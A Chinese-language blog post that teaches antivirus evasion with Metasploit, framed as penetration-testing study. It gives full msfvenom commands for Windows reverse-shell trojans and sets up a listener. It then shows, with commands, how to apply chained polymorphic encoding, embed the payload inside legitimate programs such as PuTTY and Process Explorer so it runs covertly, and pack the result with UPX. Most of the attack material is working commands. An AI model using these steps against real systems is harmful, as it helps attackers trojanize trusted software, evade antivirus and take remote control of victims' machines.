天道酬勤

Metasploit——免杀技术基础学习

在渗透测试的过程中,我们可以利用MSF攻击载荷生成器(msfvenom)创建一个可以独立运行的Metasploit载荷程序,可以生成 exe、apk、php、jsp、asp、py、sh、pl等后缀类型的文件,只要这些木马文件在目标机上执行,我们就可以拿到目标机器的shell,进而可以去进行一些危险的操作。但是这里有个前提是:目标机器上没有装杀软或者说你制作的木马是免杀的。

那问题又来了?当今时代,谁的电脑会不安装杀软呢?

所以,想要获得目标机器的shell,木马的免杀变得尤为重要。

生成木马文件

我们首先利用msfvenom生成一个可以Windows电脑上执行的exe木马文件,反弹shell程序。

msfvenom -p windows/shell_reverse_tcp LHOST=监听IP LPORT=监听端口 -f exe -o hackergu.exe

-p 选择攻击载荷

-f 指定生成文件的类型

-o 输出的文件名,保存

 开启监听

打开msfconsole

use exploit/multi/handler载入multi/handler模块

set PAYLOAD windows/shell_reverse_tcp  设置攻击载荷为Windows反弹shell

show options 显示设置的参数,配置监听IP和端口

exploit 开启监听

开启监听之后,我们在目标机器上,运行我们刚才生成的木马文件,就拿到shell了。

以上所做的一切呢,都是在目标机器关闭360杀软的情况下进行的,若我将360开启,就会变成如下:

所以免杀是很重要的。

尝试免杀

大多数杀毒软件使用特征码来识别恶意代码。这些特征码装在杀毒引擎中,用来对磁盘和进程进行扫描,并寻找匹配对象。发现匹配对象之后,杀毒软件会有相应的处理流程:大多数会将感染病毒的二进制文件进行隔离,或者杀掉正在运行的进程。

为了避开杀毒软件,我们可以针对受到杀毒软件保护的目标创建一个独一无二的攻击载荷,它不会与杀毒软件的任何特征码匹配。此外,当进行直接的渗透攻击时,Metasploit的攻击载荷可以仅仅在内存中运行,不将任何数据写入到硬盘上,这样我们发起攻击并上载攻击载荷后,大多数杀毒软件都无法检测它已在目标系统上运行。

MSF编码器

MSF编码器可以对可以对我们攻击载荷文件进行重新编码,改变可执行文件的代码形状,让杀毒软件认不出他原来的样子,而程序的功能不会受到任何的影响。

msfvenom -h查看MSF编码器的各种参数

msfvenom -l encoders 列出所有可用的编码格式

msfvenom -p windows/shell_reverse_tcp LHOST=监听IP LPORT=监听端口 -e x86/shikata_ga_nai -f exe -o hackergu2.exe

-e指定使用x86/shikata_ga_nai编码器

我们将其拿去查杀

当我们点击执行文件的时候,再次被查杀了。

但是,这里有一点区别

我们生成的第一个木马文件hackergu.exe ,刚放到目标机上,就被查杀了。但是我们生成的第二个木马文件hackergu2.exe,能够成功放到目标机器中,但是在执行的时候,被杀了。

由此看出,MSF编码是有效果的。(毕竟360不是吃素的,该杀还是被杀)

多重编码

在Metasploit框架中,我们可以使用多重编码技术,对攻击载荷文件进行多次编码,以绕过杀毒软件的特征码检查。

shikata_ga_nai编码技术是多态的,每次生成的攻击载荷文件都是不一样的。所以存在绕过杀软的侥幸性,当某次编码后的特征码不存在杀软的特征码库中,我们就可以免杀,但是这种概率,现在来看也是非常小了。

进行多重编码:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=监听IP LPORT=监听端口 -e x86/shikata_ga_nai -i 12 -f raw | msfvenom -e x86/alpha_upper -a x86 --platform windows -i 5 -f raw | msfvenom -e x86/shikata_ga_nai -a x86 --platform windows -i 12 -f raw | msfvenom -e x86/countdown -a x86 --platform windows -i 12 -f exe -o hackergu3.exe

在上述代码中,我们先使用 x86/shikata_ga_nai 进行了12次编码,接着使用 x86/alpha_upper进行了5次编码,又使用 x86/shikata_ga_nai进行了12次编码,使用 x86/countdown进行12次编码,最终生成hackergu3.exe。

但是,很抱歉,还是被无情地杀掉了。

自定义可执行文件模板

通常情况下,运行msfvenom命令时,攻击载荷被嵌入到默认的可执行文件模板中,默认模板文件位于data/templates/template.exe。虽然这个模板会时常更新,但它永远是杀毒软件厂商在创建病毒库时的重点关注对象。

实际上,我们可以使用命令 msfvenom -x 使用任意的Windows可执行程序来替代默认模板文件。

wget http://download.sysinternals.com/files/ProcessExplorer.zip在微软官网下载一个Process Explorer软件

unzip ProcessExplorer.zip解压压缩包

msfvenom -p windows/shell_reverse_tcp LHOST=监听IP LPORT=监听端口 -e x86/shikata_ga_nai -x /root/procexp.exe -i 12 -f exe -o hackergu5.exe将刚下载的exe文件作为我们的模板进行打包,生成木马hackergu5.exe

将木马在目标机器上,可以运行,成功反弹到shell了。

但是,一分钟过后呢,就掉线了。虽然能执行一些命令,但是不稳定,还是会被杀。

拿到在线检测病毒的网站检测了一下:https://www.virscan.org/language/zh-cn/

附上一张图自己体会:

360的名声,可真不是吹出来的,毕竟强大到连自己都杀。

隐秘地启动一个载荷

如果执行一个什么都没有发生的可执行文件,什么都没有发生,一定会引起用户的怀疑。为了避免察觉,可以在启动攻击载荷的同时,让宿主程序也运行起来。

我们现在下载Windows下的SSH客户端,使用 -k 处理Putty,该选项会配置攻击载荷在一个独立的线程中运行,这样宿主程序在执行时不会受到影响。

wget https://the.earth.li/~sgtatham/putty/0.67/x86/putty.exe

msfvenom -p windows/shell_reverse_tcp LHOST=监听IP LPORT=监听端口 -e x86/shikata_ga_nai -x /root/putty.exe -k -i 12 -f exe -o hackergu6.exe

最好使用图形界面的应用程序,如果使用了一个命令行的应用程序,当攻击载荷启动后,它会在目标主机桌面上启动一个命令行窗口,这个窗口直到攻击载荷运行完毕才会消失。而如果使用图形化界面,即使没有-k参数,攻击载荷启动后也不会留下任何其他的窗口。

使用加壳软件

使用加壳工具加壳之后,可执行文件更小,而功能与原来的文件一样。

但是使用MSF编码器编码之后,会增加可执行文件的大小。

upx -5 hackergu5.exe我们直接使用此命令进行加壳

没加壳19个厂商发现了病毒,加壳之后只有18个,也算起到作用了吧。

 

免杀技术日新月异,我们还需要不停地学习呀!

赞(0) 打赏
未经允许不得转载:HackerGu‘s Blog » Metasploit——免杀技术基础学习
分享到: 更多 (0)

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址

专注黑客技术的研究

联系我们联系我们

觉得文章有用就打赏一下文章作者

微信扫一扫打赏